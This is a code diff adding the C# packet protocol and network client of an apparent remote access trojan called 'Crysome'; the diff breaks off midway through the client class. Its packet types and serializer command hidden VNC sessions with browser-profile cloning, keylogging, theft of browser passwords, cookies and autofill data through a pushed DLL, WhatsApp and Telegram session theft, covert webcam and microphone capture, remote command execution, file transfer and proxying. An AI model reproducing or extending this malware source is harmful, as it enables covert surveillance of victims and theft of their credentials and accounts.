100644 index 0000000..b989801 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/HvncRunRequestPacket.cs @@ -0,0 +1,69 @@ +using System.IO; +using System.Text; + +namespace Crysome.Common.Network.Packets.Server; + +public class HvncRunRequestPacket : IPacket +{ + public const byte ActionExplorer = 0; + + public const byte ActionRunDialog = 1; + + public const byte ActionCmd = 2; + + public const byte ActionPowerShell = 3; + + public const byte ActionChrome = 4; + + public const byte ActionEdge = 5; + + public const byte ActionFirefox = 6; + + public const byte ActionOpera = 7; + + public const byte ActionOperaGX = 8; + + public const byte ActionBrave = 9; + + public const byte ActionCustom = 10; + + public const byte ActionCloneChrome = 11; + + public const byte ActionCloneEdge = 12; + + public const byte ActionCloneFirefox = 13; + + public const byte ActionCloneOpera = 14; + + public const byte ActionCloneOperaGX = 15; + + public const byte ActionCloneBrave = 16; + + public const byte ActionNotepad = 17; + + public const byte ActionCalculator = 18; + + public const byte ActionDiscord = 19; + + public byte Action { get; set; } + + public string Path { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(Action); + byte[] bytes = Encoding.UTF8.GetBytes(Path ?? ""); + w.Write(bytes.Length); + if (bytes.Length != 0) + { + w.Write(bytes); + } + } + + public void Read(BinaryReader r) + { + Action = r.ReadByte(); + int num = r.ReadInt32(); + Path = ((num > 0) ? Encoding.UTF8.GetString(r.ReadBytes(num)) : ""); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/KillProcessRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/KillProcessRequestPacket.cs new file mode 100644 index 0000000..33aa19c --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/KillProcessRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class KillProcessRequestPacket : IPacket +{ + public int Pid { get; set; } + + public KillProcessRequestPacket() + { + } + + public KillProcessRequestPacket(int pid) + { + Pid = pid; + } + + public void Write(BinaryWriter w) + { + w.Write(Pid); + } + + public void Read(BinaryReader r) + { + Pid = r.ReadInt32(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/PingRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/PingRequestPacket.cs new file mode 100644 index 0000000..e499b85 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/PingRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class PingRequestPacket : IPacket +{ + public long ServerTick { get; set; } + + public PingRequestPacket() + { + } + + public PingRequestPacket(long serverTick) + { + ServerTick = serverTick; + } + + public void Write(BinaryWriter w) + { + w.Write(ServerTick); + } + + public void Read(BinaryReader r) + { + ServerTick = r.ReadInt64(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RdpSetQualityPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RdpSetQualityPacket.cs new file mode 100644 index 0000000..ebe3d30 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RdpSetQualityPacket.cs @@ -0,0 +1,35 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RdpSetQualityPacket : IPacket +{ + public int Quality { get; set; } = 80; + + public int IntervalMs { get; set; } + + public RdpSetQualityPacket() + { + } + + public RdpSetQualityPacket(int quality, int intervalMs = 0) + { + Quality = quality; + IntervalMs = intervalMs; + } + + public void Write(BinaryWriter w) + { + w.Write(Quality); + w.Write(IntervalMs); + } + + public void Read(BinaryReader r) + { + Quality = r.ReadInt32(); + if (r.BaseStream.Position < r.BaseStream.Length) + { + IntervalMs = r.ReadInt32(); + } + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/ReadFileRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/ReadFileRequestPacket.cs new file mode 100644 index 0000000..f248cdd --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/ReadFileRequestPacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class ReadFileRequestPacket : IPacket +{ + public string Path { get; set; } + + public long TransferId { get; set; } + + public ReadFileRequestPacket() + { + } + + public ReadFileRequestPacket(string path, long transferId = 0L) + { + Path = path ?? ""; + TransferId = transferId; + } + + public void Write(BinaryWriter w) + { + w.Write(Path ?? ""); + w.Write(TransferId); + } + + public void Read(BinaryReader r) + { + Path = r.ReadString(); + TransferId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RemoteInputPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RemoteInputPacket.cs new file mode 100644 index 0000000..ae718d5 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RemoteInputPacket.cs @@ -0,0 +1,30 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RemoteInputPacket : IPacket +{ + public byte Kind { get; set; } + + public int X { get; set; } + + public int Y { get; set; } + + public int ButtonOrKey { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(Kind); + w.Write(X); + w.Write(Y); + w.Write(ButtonOrKey); + } + + public void Read(BinaryReader r) + { + Kind = r.ReadByte(); + X = r.ReadInt32(); + Y = r.ReadInt32(); + ButtonOrKey = r.ReadInt32(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RequestAudioPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RequestAudioPacket.cs new file mode 100644 index 0000000..8f0c650 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RequestAudioPacket.cs @@ -0,0 +1,42 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RequestAudioPacket : IPacket +{ + public int Seconds { get; set; } = 5; + + public int DeviceIndex { get; set; } + + public RequestAudioPacket() + { + } + + public RequestAudioPacket(int seconds, int deviceIndex = 0) + { + Seconds = seconds; + DeviceIndex = deviceIndex; + } + + public void Write(BinaryWriter w) + { + w.Write(Seconds); + w.Write(DeviceIndex); + } + + public void Read(BinaryReader r) + { + Seconds = r.ReadInt32(); + try + { + if (r.BaseStream.Position < r.BaseStream.Length) + { + DeviceIndex = r.ReadInt32(); + } + } + catch + { + DeviceIndex = 0; + } + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RequestCameraFramePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RequestCameraFramePacket.cs new file mode 100644 index 0000000..28c842e --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RequestCameraFramePacket.cs @@ -0,0 +1,37 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RequestCameraFramePacket : IPacket +{ + public int DeviceIndex { get; set; } + + public RequestCameraFramePacket() + { + } + + public RequestCameraFramePacket(int deviceIndex) + { + DeviceIndex = deviceIndex; + } + + public void Write(BinaryWriter w) + { + w.Write(DeviceIndex); + } + + public void Read(BinaryReader r) + { + try + { + if (r.BaseStream.Length >= 4) + { + DeviceIndex = r.ReadInt32(); + } + } + catch + { + DeviceIndex = 0; + } + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RequestCredentialsPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RequestCredentialsPacket.cs new file mode 100644 index 0000000..dea4902 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RequestCredentialsPacket.cs @@ -0,0 +1,48 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RequestCredentialsPacket : IPacket +{ + public const byte TypePasswords = 0; + + public const byte TypeCookies = 1; + + public const byte TypeBoth = 2; + + public const byte TypeAutofills = 3; + + public const byte TypeAll = 4; + + public byte RequestType { get; set; } + + public byte[] DllBytes { get; set; } + + public RequestCredentialsPacket() + { + } + + public RequestCredentialsPacket(byte requestType, byte[] dllBytes = null) + { + RequestType = requestType; + DllBytes = dllBytes; + } + + public void Write(BinaryWriter w) + { + w.Write(RequestType); + int num = ((DllBytes != null) ? DllBytes.Length : 0); + w.Write(num); + if (num > 0) + { + w.Write(DllBytes); + } + } + + public void Read(BinaryReader r) + { + RequestType = r.ReadByte(); + int num = r.ReadInt32(); + DllBytes = ((num > 0) ? r.ReadBytes(num) : null); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RestartRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RestartRequestPacket.cs new file mode 100644 index 0000000..1b44cb2 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RestartRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RestartRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/ReverseProxyStartPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/ReverseProxyStartPacket.cs new file mode 100644 index 0000000..09e9a7c --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/ReverseProxyStartPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class ReverseProxyStartPacket : IPacket +{ + public int ConnectionId { get; set; } + + public ReverseProxyStartPacket() + { + } + + public ReverseProxyStartPacket(int connectionId) + { + ConnectionId = connectionId; + } + + public void Write(BinaryWriter w) + { + w.Write(ConnectionId); + } + + public void Read(BinaryReader r) + { + ConnectionId = r.ReadInt32(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RunCommandRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RunCommandRequestPacket.cs new file mode 100644 index 0000000..88b4c7f --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/RunCommandRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class RunCommandRequestPacket : IPacket +{ + public string Command { get; set; } + + public RunCommandRequestPacket() + { + } + + public RunCommandRequestPacket(string command) + { + Command = command; + } + + public void Write(BinaryWriter w) + { + w.Write(Command ?? ""); + } + + public void Read(BinaryReader r) + { + Command = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/SendFileRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/SendFileRequestPacket.cs new file mode 100644 index 0000000..44964c5 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/SendFileRequestPacket.cs @@ -0,0 +1,37 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class SendFileRequestPacket : IPacket +{ + public string Filename { get; set; } + + public byte[] FileData { get; set; } + + public SendFileRequestPacket() + { + } + + public SendFileRequestPacket(string filename, byte[] fileData) + { + Filename = filename; + FileData = fileData; + } + + public void Write(BinaryWriter w) + { + w.Write(Filename ?? ""); + w.Write((FileData != null) ? FileData.Length : 0); + if (FileData != null) + { + w.Write(FileData); + } + } + + public void Read(BinaryReader r) + { + Filename = r.ReadString(); + int count = r.ReadInt32(); + FileData = r.ReadBytes(count); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartAudioStreamPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartAudioStreamPacket.cs new file mode 100644 index 0000000..66b9733 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartAudioStreamPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StartAudioStreamPacket : IPacket +{ + public int DeviceIndex { get; set; } + + public StartAudioStreamPacket() + { + } + + public StartAudioStreamPacket(int deviceIndex) + { + DeviceIndex = deviceIndex; + } + + public void Write(BinaryWriter w) + { + w.Write(DeviceIndex); + } + + public void Read(BinaryReader r) + { + DeviceIndex = r.ReadInt32(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartHvncPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartHvncPacket.cs new file mode 100644 index 0000000..9865840 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartHvncPacket.cs @@ -0,0 +1,22 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StartHvncPacket : IPacket +{ + public int Quality { get; set; } = 80; + + public int IntervalMs { get; set; } = 100; + + public void Write(BinaryWriter w) + { + w.Write(Quality); + w.Write(IntervalMs); + } + + public void Read(BinaryReader r) + { + Quality = r.ReadInt32(); + IntervalMs = r.ReadInt32(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartKeyloggerPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartKeyloggerPacket.cs new file mode 100644 index 0000000..ba4b993 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartKeyloggerPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StartKeyloggerPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartProxyRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartProxyRequestPacket.cs new file mode 100644 index 0000000..e8f1e03 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartProxyRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StartProxyRequestPacket : IPacket +{ + public int SocksPort { get; set; } + + public StartProxyRequestPacket() + { + } + + public StartProxyRequestPacket(int socksPort) + { + SocksPort = socksPort; + } + + public void Write(BinaryWriter w) + { + w.Write(SocksPort); + } + + public void Read(BinaryReader r) + { + SocksPort = r.ReadInt32(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartRemoteDesktopPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartRemoteDesktopPacket.cs new file mode 100644 index 0000000..c0c283c --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartRemoteDesktopPacket.cs @@ -0,0 +1,46 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StartRemoteDesktopPacket : IPacket +{ + public int IntervalMs { get; set; } = 200; + + public int ScreenIndex { get; set; } = -1; + + public int UdpPort { get; set; } + + public uint SessionToken { get; set; } + + public byte CaptureMode { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(IntervalMs); + w.Write(ScreenIndex); + w.Write(UdpPort); + w.Write(SessionToken); + w.Write(CaptureMode); + } + + public void Read(BinaryReader r) + { + IntervalMs = r.ReadInt32(); + if (r.BaseStream.Position < r.BaseStream.Length) + { + ScreenIndex = r.ReadInt32(); + } + if (r.BaseStream.Position < r.BaseStream.Length) + { + UdpPort = r.ReadInt32(); + } + if (r.BaseStream.Position < r.BaseStream.Length) + { + SessionToken = r.ReadUInt32(); + } + if (r.BaseStream.Position < r.BaseStream.Length) + { + CaptureMode = r.ReadByte(); + } + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartReverseProxyPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartReverseProxyPacket.cs new file mode 100644 index 0000000..057c205 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StartReverseProxyPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StartReverseProxyPacket : IPacket +{ + public int ServerPort { get; set; } + + public StartReverseProxyPacket() + { + } + + public StartReverseProxyPacket(int serverPort) + { + ServerPort = serverPort; + } + + public void Write(BinaryWriter w) + { + w.Write(ServerPort); + } + + public void Read(BinaryReader r) + { + ServerPort = r.ReadInt32(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopAudioStreamPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopAudioStreamPacket.cs new file mode 100644 index 0000000..42c8cd7 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopAudioStreamPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StopAudioStreamPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopHvncPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopHvncPacket.cs new file mode 100644 index 0000000..f73e73c --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopHvncPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StopHvncPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopKeyloggerPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopKeyloggerPacket.cs new file mode 100644 index 0000000..85f7706 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopKeyloggerPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StopKeyloggerPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopProxyRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopProxyRequestPacket.cs new file mode 100644 index 0000000..cd11c58 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopProxyRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StopProxyRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopRemoteDesktopPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopRemoteDesktopPacket.cs new file mode 100644 index 0000000..bbc4505 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/StopRemoteDesktopPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class StopRemoteDesktopPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/TakeScreenshotRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/TakeScreenshotRequestPacket.cs new file mode 100644 index 0000000..47536e4 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/TakeScreenshotRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class TakeScreenshotRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/TelegramSessionRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/TelegramSessionRequestPacket.cs new file mode 100644 index 0000000..a1be9d5 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/TelegramSessionRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class TelegramSessionRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/WhatsAppSessionRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/WhatsAppSessionRequestPacket.cs new file mode 100644 index 0000000..97eabf0 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/WhatsAppSessionRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class WhatsAppSessionRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/WriteFileRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/WriteFileRequestPacket.cs new file mode 100644 index 0000000..01eb79a --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/WriteFileRequestPacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class WriteFileRequestPacket : IPacket +{ + public string DestPath { get; set; } + + public long TransferId { get; set; } + + public byte[] Data { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(DestPath ?? ""); + w.Write(TransferId); + int num = ((Data != null) ? Data.Length : 0); + w.Write(num); + if (num > 0) + { + w.Write(Data); + } + } + + public void Read(BinaryReader r) + { + DestPath = r.ReadString(); + TransferId = r.ReadInt64(); + int num = r.ReadInt32(); + Data = ((num > 0) ? r.ReadBytes(num) : null); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets/ChatMessagePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets/ChatMessagePacket.cs new file mode 100644 index 0000000..9c65606 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets/ChatMessagePacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets; + +public class ChatMessagePacket : IPacket +{ + public string Message { get; set; } = ""; + + public ChatMessagePacket() + { + } + + public ChatMessagePacket(string message) + { + Message = message ?? ""; + } + + public void Write(BinaryWriter w) + { + w.Write(Message ?? ""); + } + + public void Read(BinaryReader r) + { + Message = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets/IPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets/IPacket.cs new file mode 100644 index 0000000..af788d2 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets/IPacket.cs @@ -0,0 +1,10 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets; + +public interface IPacket +{ + void Write(BinaryWriter w); + + void Read(BinaryReader r); +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets/PacketSerializer.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets/PacketSerializer.cs new file mode 100644 index 0000000..35828db --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets/PacketSerializer.cs @@ -0,0 +1,133 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using Crysome.Common.Network.FileTransfer; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Common.Network.Packets; + +public static class PacketSerializer +{ + private static readonly Dictionary IdToType; + + private static readonly Dictionary TypeToId; + + static PacketSerializer() + { + IdToType = new Dictionary(); + TypeToId = new Dictionary(); + Register(1, typeof(ClientInfoResponsePacket)); + Register(2, typeof(ClientInfoRequestPacket)); + Register(3, typeof(PingResponsePacket)); + Register(4, typeof(PingRequestPacket)); + Register(5, typeof(RunCommandResponsePacket)); + Register(6, typeof(RunCommandRequestPacket)); + Register(7, typeof(DirectLinkResponsePacket)); + Register(8, typeof(DirectLinkRequestPacket)); + Register(9, typeof(FileTransferResponsePacket)); + Register(10, typeof(FileTransferRequestPacket)); + Register(11, typeof(GetSystemInfoResponsePacket)); + Register(12, typeof(GetSystemInfoRequestPacket)); + Register(13, typeof(GetDrivesResponsePacket)); + Register(14, typeof(GetDrivesRequestPacket)); + Register(15, typeof(GetDirectoryResponsePacket)); + Register(16, typeof(GetDirectoryRequestPacket)); + Register(17, typeof(NotifyStatusResponsePacket)); + Register(18, typeof(DeleteFileRequestPacket)); + Register(19, typeof(DownloadFileRequestPacket)); + Register(20, typeof(RestartRequestPacket)); + Register(21, typeof(SendFileRequestPacket)); + Register(22, typeof(TakeScreenshotRequestPacket)); + Register(23, typeof(TakeScreenshotResponsePacket)); + Register(24, typeof(StartProxyRequestPacket)); + Register(25, typeof(StopProxyRequestPacket)); + Register(26, typeof(ProxyStatusResponsePacket)); + Register(27, typeof(GetProcessListRequestPacket)); + Register(28, typeof(GetProcessListResponsePacket)); + Register(29, typeof(KillProcessRequestPacket)); + Register(30, typeof(RequestAudioPacket)); + Register(31, typeof(AudioDataPacket)); + Register(32, typeof(RequestCameraFramePacket)); + Register(33, typeof(CameraFramePacket)); + Register(34, typeof(StartRemoteDesktopPacket)); + Register(35, typeof(StopRemoteDesktopPacket)); + Register(36, typeof(DesktopFramePacket)); + Register(37, typeof(RemoteInputPacket)); + Register(38, typeof(ReverseProxyStartPacket)); + Register(39, typeof(ReverseProxyDataPacket)); + Register(40, typeof(ReverseProxyEndPacket)); + Register(41, typeof(StartReverseProxyPacket)); + Register(42, typeof(RequestCredentialsPacket)); + Register(43, typeof(CredentialsResponsePacket)); + Register(44, typeof(StartHvncPacket)); + Register(45, typeof(StopHvncPacket)); + Register(46, typeof(HvncFramePacket)); + Register(47, typeof(HvncInputPacket)); + Register(48, typeof(HvncRunRequestPacket)); + Register(49, typeof(StartKeyloggerPacket)); + Register(50, typeof(StopKeyloggerPacket)); + Register(51, typeof(KeylogDataPacket)); + Register(52, typeof(ChatMessagePacket)); + Register(53, typeof(GetCameraDevicesPacket)); + Register(54, typeof(CameraDevicesResponsePacket)); + Register(55, typeof(GetAudioDevicesPacket)); + Register(56, typeof(AudioDevicesResponsePacket)); + Register(57, typeof(StartAudioStreamPacket)); + Register(58, typeof(StopAudioStreamPacket)); + Register(59, typeof(AudioStreamChunkPacket)); + Register(60, typeof(ReadFileRequestPacket)); + Register(61, typeof(ReadFileResponsePacket)); + Register(62, typeof(GetScreensRequestPacket)); + Register(63, typeof(ScreensResponsePacket)); + Register(64, typeof(RdpSetQualityPacket)); + Register(65, typeof(FtStartPacket)); + Register(66, typeof(FtChunkPacket)); + Register(67, typeof(FtSackPacket)); + Register(68, typeof(FtDonePacket)); + Register(69, typeof(FtAbortPacket)); + Register(70, typeof(WriteFileRequestPacket)); + Register(71, typeof(WriteFileResponsePacket)); + Register(72, typeof(ClientInventoryReportPacket)); + Register(73, typeof(WhatsAppSessionRequestPacket)); + Register(74, typeof(WhatsAppSessionResponsePacket)); + Register(75, typeof(OfflineKeylogDataPacket)); + Register(76, typeof(TelegramSessionRequestPacket)); + Register(77, typeof(TelegramSessionResponsePacket)); + } + + private static void Register(byte id, Type type) + { + IdToType[id] = type; + TypeToId[type] = id; + } + + public static byte[] Serialize(IPacket packet) + { + using MemoryStream memoryStream = new MemoryStream(); + using BinaryWriter binaryWriter = new BinaryWriter(memoryStream, Encoding.UTF8); + if (!TypeToId.TryGetValue(packet.GetType(), out var value)) + { + throw new InvalidOperationException("Unknown packet type: " + packet.GetType().Name); + } + binaryWriter.Write(value); + packet.Write(binaryWriter); + binaryWriter.Flush(); + return memoryStream.ToArray(); + } + + public static IPacket Deserialize(byte[] data) + { + using MemoryStream input = new MemoryStream(data); + using BinaryReader binaryReader = new BinaryReader(input, Encoding.UTF8); + byte key = binaryReader.ReadByte(); + if (!IdToType.TryGetValue(key, out var value)) + { + throw new InvalidOperationException("Unknown packet ID: " + key); + } + IPacket obj = (IPacket)Activator.CreateInstance(value); + obj.Read(binaryReader); + return obj; + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network/CrysomeClient.cs b/Crysome.Common.Client/Crysome.Common.Network/CrysomeClient.cs new file mode 100644 index 0000000..579279d --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network/CrysomeClient.cs @@ -0,0 +1,192 @@ +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Net; +using System.Threading; +using Crysome.Common.Network.Packets; + +namespace Crysome.Common.Network; + +public class CrysomeClient +{ + private RudpChannel _rudp; + + private CancellationTokenSource _readCts = new CancellationTokenSource(); + + private readonly BlockingCollection _inQueue = new BlockingCollection(2048); + + private static int _clientIdGen = new Random().Next(1, 100000); + + public bool IsConnected + { + get + { + if (_rudp != null && _rudp.IsAlive) + { + return !_readCts.IsCancellationRequested; + } + return false; + } + } + + public IPEndPoint RemoteAddress => _rudp?.Remote; + + public IPEndPoint LocalAddress => null; + + public int Port => 0; + + public double RttMs => _rudp?.RttMs ?? 0.0; + + public double LossRate => _rudp?.LossRate ?? 0.0; + + public long BytesSent => _rudp?.BytesSent ?? 0; + + public long BytesRecv => _rudp?.BytesRecv ?? 0; + + public uint UdpSessionToken { get; set; } + + public IPEndPoint UdpRemoteEndPoint { get; set; } + + public uint UdpLastFrameSeq { get; set; } + + public event EventHandler PacketReceived; + + public event EventHandler PacketSent; + + public void Connect(IPAddress address, int port) + { + IPEndPoint remote = new IPEndPoint(address, port); + RudpChannel rudpChannel = new RudpChannel(NextSessionId(), remote); + rudpChannel.Start(); + AttachChannel(rudpChannel); + Thread.Sleep(50); + } + + private static uint NextSessionId() + { + uint num = (uint)Interlocked.Increment(ref _clientIdGen); + if (num != 0) + { + return num; + } + return (uint)Interlocked.Increment(ref _clientIdGen); + } + + private void 